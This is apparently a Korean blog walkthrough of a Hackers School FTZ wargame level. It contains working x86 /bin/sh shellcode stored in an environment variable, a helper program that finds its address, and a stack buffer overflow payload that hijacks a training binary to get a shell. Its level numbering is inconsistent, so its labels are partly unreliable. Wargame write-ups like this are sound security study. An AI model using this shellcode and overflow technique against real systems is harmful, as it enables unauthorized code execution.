해커스쿨 ftz level12 (macOS)
해커스쿨 ftz Level13
MacOS에서 푸는 해커스쿨 ftz
해커스쿨 ftz level13 단계이다.
먼저 ftz서버를 실행한다.
서버 실행을 모르면 ftz trainer1 단계에 소개되어 있다.
Mac의 터미널을 열어 서버에 접속합니다.
명령어는
ssh -c aes128-cbc level13@서버ip
라고 입력합니다.
Id: level12, pw: it is like this 로 로그인을 한 후 파일을 살펴보았다.
Hint의 내용을 살펴보았다.
gets 함수를 통해 입력을 받는데 ret 값에 쉘코드의 주소를 입력시키면 될 것 같다.
우선 쉘코드를 작성하였다. tmp 디렉토리에서
$export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
$gcc getenv.c -o getenv
$./getenv
를 차례로 입력하여 0xbffffe45의 쉘코드의 주소를 얻을 수 있었다.
얻은 주소를 바탕으로 attackme가 있는 디렉토리로 돌아와서
(python -c 'print"\x90"*268+"\x45\xfe\xff\xbf"'; cat) | ./attackme 명령어를 입력하였다.
그 후 계속해서 입력을 할 수 있었는데 my-pass 명령어를 입력하니 level13의 패스워드가 나왔다.